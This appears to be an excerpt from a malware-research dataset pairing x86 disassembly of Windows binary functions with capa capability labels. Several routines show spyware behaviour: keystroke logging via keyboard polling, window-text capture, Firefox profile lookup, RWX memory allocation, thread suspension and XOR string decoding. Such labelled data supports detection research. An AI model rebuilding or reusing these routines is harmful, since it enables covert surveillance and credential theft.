joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441ad0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x7ffb2c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x7ffb24]
sub esp, 4
test ebx, ebx
je 0x441b25
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x441b1e
test esi, esi
je 0x441b1e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x441b00
mov dword [esp], 0x7ffb2c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x441e60
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x441e85
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x441e90
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x441e85
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x441ed8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x441ece
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x441eda
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x441ec0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x10004486
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x108], bl
call fcn.1000ab40
mov ecx, dword [0x1001f524]
add esp, 0xc
cmp ecx, ebx
je 0x100045c9
mov eax, dword [0x1001f52c]
cmp eax, ebx
je 0x100045c9
mov byte [eax + ecx], bl
mov eax, dword [0x1001f520]
cmp eax, ebx
je 0x100044ed
push 0x100
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.1000c600
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x100045bd
push dword [0x10023964]
push eax
call fcn.1000c670
push dword [0x10023e1c]
push dword [ebp - 4]
call fcn.1000c6f0
push dword [0x100233f0]
push dword [ebp - 4]
call fcn.1000c6f0
push dword [0x10023be8]
push dword [ebp - 4]
call fcn.1000c6f0
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 4]
call fcn.1000c6f0
push dword [0x10023b38]
push dword [ebp - 4]
call fcn.1000c6f0
add esp, 0x30
call fcn.100043cd
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x10004581
push eax
push dword [ebp - 4]
call fcn.1000c6f0
pop ecx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 8]
push eax
call fcn.1000a8c0
pop ecx
pop ecx
jmp 0x100045a4
push dword [0x1001f524]
push dword [ebp - 4]
call fcn.1000c6f0
push dword [0x1001f52c]
push ebx
push dword [0x1001f524]
call fcn.1000ab40
add esp, 0x14
push 0x10012558
push dword [ebp - 4]
call fcn.1000c6f0
lea eax, [ebp - 4]
push eax
call fcn.1000c9c0
add esp, 0xc
mov dword [0x1001f528], ebx
mov dword [0x1001f52c], ebx
pop ebx
leave
ret

Function at 0x100046a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
movzx edi, word [esi + 0xc]
push 0x1001f518
call fcn.1000bc2d
pop ecx
push dword [0x10023798]
push dword [0x10023bf8]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov dword [0x1001f520], eax
mov eax, dword [esi + 8]
cmp eax, 0xd
jne 0x100046f4
call fcn.10004486
jmp 0x10004750
and dword [ebp - 4], 0
push edi
push eax
call fcn.100045cc
pop ecx
pop ecx
test eax, eax
jne 0x10004750
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
movsx eax, word [esi + 0xe]
and eax, 0xff
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_ToAscii]
mov al, byte [ebp - 4]
mov byte [ebp + 0xb], al
test al, al
je 0x10004750
test edi, edi
je 0x10004750
lea eax, [ebp + 0xb]
push 1
push eax
call fcn.100042fd
dec edi
pop ecx
pop ecx
jne 0x10004740
pop edi
pop esi
leave
ret
Function at 0x100049f2
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x1002359c]
push esi
xor esi, esi
jmp 0x10004a03
cmp dword [eax + 4], esi
jne 0x10004a4e
mov eax, dword [eax]
cmp eax, esi
jne 0x100049fc
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x10004a4e
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x10004a2b
mov ecx, dword [0x1002359c]
mov dword [eax], ecx
mov dword [0x1002359c], eax
pop esi
ret

Function at 0x100051cc
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 4
call dword [0x100236f0]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x10005294
push ebx
push 0x1c
pop ebx
lea ecx, [ebp - 0x20]
push ecx
push eax
mov dword [ebp - 0x20], ebx
call sub.KERNEL32.dll_Thread32First
jmp 0x10005282
cmp dword [ebp - 0x20], 0x10
jb 0x10005273
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10005273
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10005273
mov ecx, dword [esi]
test ecx, ecx
jne 0x10005241
push 0x200
push ecx
mov dword [esi + 4], 0x80
push dword [0x1001f544]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x1000528a
jmp 0x10005265
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10005265
shl eax, 3
push eax
push ecx
push 0
push dword [0x1001f544]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1000528a
shl dword [esi + 4], 1
mov dword [esi], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi]
mov edx, dword [ebp - 0x18]
mov dword [ecx + eax*4], edx
inc dword [esi + 8]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x20], ebx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100051fe
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
leave
ret

Function at 0x10005296
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.100051cc
cmp dword [esi], edi
je 0x100052f3
push ebx
xor ebx, ebx
cmp dword [esi + 8], edi
jbe 0x100052f2
jmp 0x100052bc
xor edi, edi
mov eax, dword [esi]
push dword [eax + ebx*4]
push edi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x100052ec
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
call fcn.10005108
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x100052ba
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x100052f7
Capabilities:
Resume thread

Disassembly:
push edi
xor edi, edi
cmp dword [esi], edi
je 0x1000533e
cmp dword [esi + 8], edi
jbe 0x1000532e
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10005327
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10005304
pop ebx
push dword [esi]
push 0
push dword [0x1001f544]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret

Function at 0x10005a34
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8b4
push ebx
push esi
push edi
push 8
pop ecx
lea eax, [ebp - 0x29c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
mov esi, str.MozillaFirefox
lea edi, [ebp - 0x94]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x10005bae
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x29c]
push eax
push eax
call fcn.1000ce54
add esp, 0xc
test eax, eax
je 0x10005bae
push 6
pop ecx
mov esi, str.profiles.ini
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x6ac]
push eax
movsw word es:[edi], word [esi]
call fcn.1000ce54
add esp, 0xc
test eax, eax
je 0x10005bae
lea eax, [ebp - 0x6ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10005bae
push 5
pop ecx
mov esi, str.IsRelative
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str.Path
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp - 1], bl
movzx eax, byte [ebp - 1]
push eax
push str.Profile_u
lea eax, [ebp - 0x20]
push 0xf
push eax
call fcn.1000bab6
push 0x20
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1000ae2e
add esp, 0x1c
lea eax, [ebp - 0x6ac]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005bae
lea eax, [ebp - 0x6ac]
push eax
push 0x104
lea eax, [ebp - 0x4a4]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x10005ba1
lea eax, [ebp - 0x4a4]
push eax
call fcn.1000ce85
pop ecx
lea eax, [ebp - 0x4a4]
cmp esi, 1
jne 0x10005b94
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x8b4]
push eax
call fcn.1000ce54
add esp, 0xc
test eax, eax
je 0x10005ba1
lea eax, [ebp - 0x8b4]
push dword [ebp + 0xc]
push eax
call dword [ebp + 8]
pop ecx
pop ecx
test eax, eax
je 0x10005bae
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xfa
jb 0x10005af0
pop edi
pop esi
mov dword [0x1001f554], 1
pop ebx
leave
ret
Function at 0x10006bf3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
push dword [0x100232e4]
lea eax, [ebp - 0x34]
push dword [0x100233f0]
push eax
call fcn.1000d478
lea eax, [ebp - 0xc]
push eax
call fcn.1000d34d
add esp, 0x10
xor esi, esi
test eax, eax
lea eax, [ebp - 0x34]
push eax
push esi
push esi
jns 0x10006c2a
push esi
jmp 0x10006c2e
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1001f56c], eax
cmp eax, esi
jne 0x10006c41
xor eax, eax
jmp 0x10006c97
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10006c77
push dword [0x1001f56c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x10006c6c
push dword [0x1001f56c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006c3d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1001f568
push esi
push esi
push 0x10006b87
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1001f55c], eax
cmp eax, esi
je 0x10006c5e
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x10006cb9
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [0x1001f570], ebx
jne 0x10006de8
mov esi, dword [ebp + 0x10]
cmp dword [esi + 0x1f7], 0xe291a0f3
je 0x10006ce8
xor eax, eax
jmp 0x10006e50
call fcn.1000a870
push 1
call fcn.1000b642
pop ecx
test eax, eax
js 0x10006ce1
push 1
xor edi, edi
push edi
push esi
push ebx
call fcn.1000d8a9
add esi, 0x1cf
push esi
call fcn.10006c9d
add esp, 0x14
test eax, eax
je 0x10006ce1
push dword [0x10023bf0]
push dword [0x100233f0]
call fcn.1000ad19
pop ecx
pop ecx
test eax, eax
jne 0x10006ce1
call fcn.10006bf3
test eax, eax
je 0x10006ce1
call fcn.1000b020
call fcn.1000c4b0
push 0x1001f558
push edi
push 0x3b
push dword [0x10023944]
call fcn.1000aed3
push 1
push 0x1001f568
push 0x1001f56c
mov dword [0x1001f560], eax
call fcn.1000d4bd
call fcn.10002ae4
push dword [0x100233f0]
call fcn.10006c9a
add esp, 0x20
test eax, eax
je 0x10006d89
call fcn.10002c0a
jmp 0x10006ddf
call fcn.100042c1
call fcn.10003841
call fcn.10009def
call fcn.10001075
call fcn.100074bb
call fcn.1000278d
call fcn.10009eba
call fcn.10003062
call fcn.100071c7
call fcn.10002c0a
call fcn.10002bec
call fcn.10002bfb
call fcn.10002e40
push edi
call fcn.10002c28
pop ecx
call fcn.10006e57
test eax, eax
je 0x10006ddf
call fcn.10002c19
push edi
call fcn.10002b2f
pop ecx
jmp 0x10006e4d
xor edi, edi
cmp dword [ebp + 0xc], edi
jne 0x10006e4d
call fcn.10002b37
call fcn.10007dc9
call fcn.100042e3
push 1
call fcn.1000b5c0
call fcn.10001529
call fcn.100027b5
call fcn.1000c2a0
call fcn.100030bb
mov dword [esp], 0x1001f558
push 0x1001f560
call fcn.1000afb0
pop ecx
pop ecx
cmp dword [0x1001dedc], edi
je 0x10006e41
push edi
push dword [0x1001f55c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [0x1001f564]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x10007088
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x1001f598], 0
jne 0x10007098
xor eax, eax
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [ebp + 0xc]
je 0x10007094
cmp dword [ebp + 0x10], 0
jne 0x100070b2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10006fd8
cmp dword [ebp + 0x10], 0
pop ecx
pop ecx
mov esi, eax
jne 0x100070d1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x100070d6
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push edi
xor ebx, ebx
xor edi, edi
cmp dword [0x1001f598], ebx
jne 0x100070f0
xor eax, eax
pop edi
pop ebx
leave
ret
mov eax, dword [0x100232e4]
push ebx
push 4
mov dword [ebp - 8], eax
call dword [0x100236f0]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10007126
push 0x5a
pop eax
mov word [ebp - 0x18], ax
xor eax, eax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x100070ea
push esi
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x34], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x1000714c
xor esi, esi
push dword [ebp - 4]
call dword [0x10023690]
mov eax, esi
pop esi
jmp 0x100070ec
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x28], eax
jne 0x100071b0
push dword [ebp - 0x2c]
push ebx
push 0x4a
call dword [0x10023668]
mov esi, eax
cmp esi, ebx
je 0x100071b0
push ebx
push dword [ebp - 0x2c]
push esi
call fcn.10007088
add esp, 0xc
test eax, eax
je 0x100071a9
push esi
cmp dword [ebp + 8], ebx
je 0x100071a0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x5a
pop eax
mov word [ebp - 0x18], ax
xor eax, eax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x100071a6
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor edi, edi
inc edi
push esi
call dword [0x10023690]
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000714c
mov esi, edi
jmp 0x1000713e

Function at 0x10007444
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push 0xa
push dword [0x10023c90]
push dword [0x1001f570]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x10007461
pop esi
ret
push edi
push esi
push dword [0x1001f570]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push dword [0x1001f570]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10007490
push 4
push 0
push edi
push eax
call fcn.1000e13c
add esp, 0x10
pop edi
pop esi
ret
Function at 0x100074d7
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
push esi
push edi
xor edi, edi
xor esi, esi
inc edi
push 0xce2
mov dword [0x1001f5a4], edi
mov dword [0x100220d8], esi
mov dword [ebp - 4], esi
call fcn.1000b76d
pop ecx
push 0x1f
lea ecx, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10007574
push 0x1291
mov dword [ebp - 0xc], esi
call fcn.1000b76d
push esi
push eax
push 0x100231e0
mov dword [ebp - 0xc], eax
push 0x104
lea eax, [ebp - 0x278]
push eax
push 0x10012770
call fcn.1000ae48
lea eax, [ebp - 0xc]
push eax
call fcn.1000b814
lea eax, [ebp - 0x278]
push eax
call fcn.1000cec0
add esp, 0x24
test eax, eax
jne 0x10007574
lea eax, [ebp - 4]
push eax
mov dword [0x1001f5a8], edi
call fcn.1000b814
xor eax, eax
jmp 0x100076d8
lea eax, [ebp - 4]
push eax
call fcn.1000b814
pop ecx
call fcn.1000b050
test eax, eax
jne 0x10007594
push 0x100221a4
push esi
call fcn.1000b560
pop ecx
pop ecx
push 0x14
call fcn.1000b3c0
pop ecx
cmp eax, esi
je 0x100075ac
cmp byte [eax], 0x31
jne 0x100075ac
xor eax, eax
jmp 0x100076d9
push 0x3a98
push esi
call fcn.1000a829
pop ecx
pop ecx
mov dword [0x1001f5a0], eax
cmp eax, esi
je 0x100075a5
mov eax, dword [0x1001df80]
imul eax, eax, 0xfc40
push eax
call fcn.1000a890
pop ecx
mov dword [0x1001f59c], eax
cmp eax, esi
jne 0x100075e5
mov dword [0x1001df80], esi
jmp 0x100075a5
call fcn.10007444
mov dword [ebp - 8], eax
cmp eax, esi
je 0x10007604
push eax
call fcn.100084a7
lea eax, [ebp - 8]
push esi
push eax
call fcn.1000e2e4
add esp, 0xc
push ebx
mov dword [ebp - 4], edi
mov ebx, 0x100223d4
push dword [ebp - 4]
lea edi, [ebp - 0x6c]
call fcn.100073f4
push esi
mov eax, edi
push eax
push ebx
push 0x104
lea eax, [ebp - 0x170]
push eax
push 0x10012770
call fcn.1000ae48
push esi
push 0x100221a4
lea eax, [ebp - 0x170]
push 1
push eax
call fcn.1000e1a1
add esp, 0x2c
mov dword [ebp - 8], eax
cmp eax, esi
je 0x10007664
push eax
call fcn.100084a7
lea eax, [ebp - 8]
push esi
push eax
call fcn.1000e2e4
add esp, 0xc
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jbe 0x1000760d
push 0xebc
call fcn.1000b76d
push esi
push eax
push ebx
mov dword [ebp - 0xc], eax
push 0x104
lea eax, [ebp - 0x170]
push eax
push 0x10012770
call fcn.1000ae48
lea eax, [ebp - 0xc]
push eax
call fcn.1000b814
push esi
push esi
lea eax, [ebp - 0x170]
push 1
push eax
call fcn.1000e1a1
add esp, 0x30
mov dword [ebp - 8], eax
pop ebx
cmp eax, esi
je 0x100076ca
push eax
call fcn.100084a7
lea eax, [ebp - 8]
push esi
push eax
call fcn.1000e2e4
add esp, 0xc
push dword [0x1001f5a0]
call fcn.1000a814
xor eax, eax
inc eax
pop ecx
pop edi
pop esi
leave
ret

Function at 0x1000a7ba
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
jne 0x1000a7d5
xor eax, eax
jmp 0x1000a7ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000a7eb
push esi
call dword [0x10023690]
jmp 0x1000a7d1
mov eax, esi
pop esi
pop ebp
ret
Function at 0x1000a829
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x1000a867
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000a865
push dword [ebp + 0xc]
push esi
call fcn.1000a7f0
pop ecx
pop ecx
test eax, eax
jns 0x1000a865
push esi
call dword [0x10023690]
xor esi, esi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x1000b76d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10022044]
and dword [ebp - 4], 0
test eax, eax
jne 0x1000b79f
push 0x1866
push 0x100151c0
call fcn.1000a930
pop ecx
pop ecx
mov dword [0x10022044], eax
test eax, eax
jne 0x1000b79f
mov eax, 0x1002204c
leave
ret
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, 0x1865
mov ecx, ebx
cmp ebx, esi
jae 0x1000b7cb
mov edx, ecx
and edx, 0x3f
mov dl, byte [edx + 0x1001df88]
xor dl, byte [eax + ecx]
je 0x1000b7c6
inc ecx
cmp ecx, esi
jb 0x1000b7af
jmp 0x1000b7cb
sub ecx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.1000a890
pop ecx
test eax, eax
jne 0x1000b7e1
mov eax, 0x1002204c
jmp 0x1000b810
xor edx, edx
cmp dword [ebp - 4], edx
jbe 0x1000b810
mov esi, dword [0x10022044]
push edi
mov edi, ebx
sub edi, eax
add esi, ebx
lea ecx, [eax + edx]
lea ebx, [edi + ecx]
and ebx, 0x3f
mov bl, byte [ebx + 0x1001df88]
xor bl, byte [esi + edx]
inc edx
mov byte [ecx], bl
cmp edx, dword [ebp - 4]
jb 0x1000b7f5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b991
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x14], ebx
call fcn.1000b957
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, ebx
jne 0x1000b9c6
xor eax, eax
jmp 0x1000ba7c
push ebx
push ebx
push 3
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x1000ba5d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x5a
pop eax
mov word [ebp - 0x24], ax
xor eax, eax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
call esi
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x1000ba2c
push 0x5a
pop eax
mov word [ebp - 0x24], ax
xor eax, eax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
call esi
jmp 0x1000ba5c
push ebx
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 4]
add ecx, 8
push ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x1000ba5c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [ebp - 8], 1
pop esi
cmp dword [ebp - 4], ebx
je 0x1000ba6b
push dword [ebp - 4]
call dword [0x10023690]
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
call fcn.1000a8c0
mov eax, dword [ebp - 8]
pop ecx
pop ecx
pop edi
pop ebx
leave
ret

Function at 0x1000bc69
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
mov dword [eax], ecx
mov dword [eax + 0x9c0], 1
push edi
mov edx, dword [eax + 0x9c0]
lea ecx, [eax + edx*4]
mov esi, dword [ecx - 4]
mov edi, esi
shr edi, 0x1e
xor edi, esi
imul edi, edi, 0x6c078965
add edi, edx
mov dword [ecx], edi
inc dword [eax + 0x9c0]
cmp dword [eax + 0x9c0], 0x270
jl 0x1000bc80
pop edi
pop esi
pop ebp
ret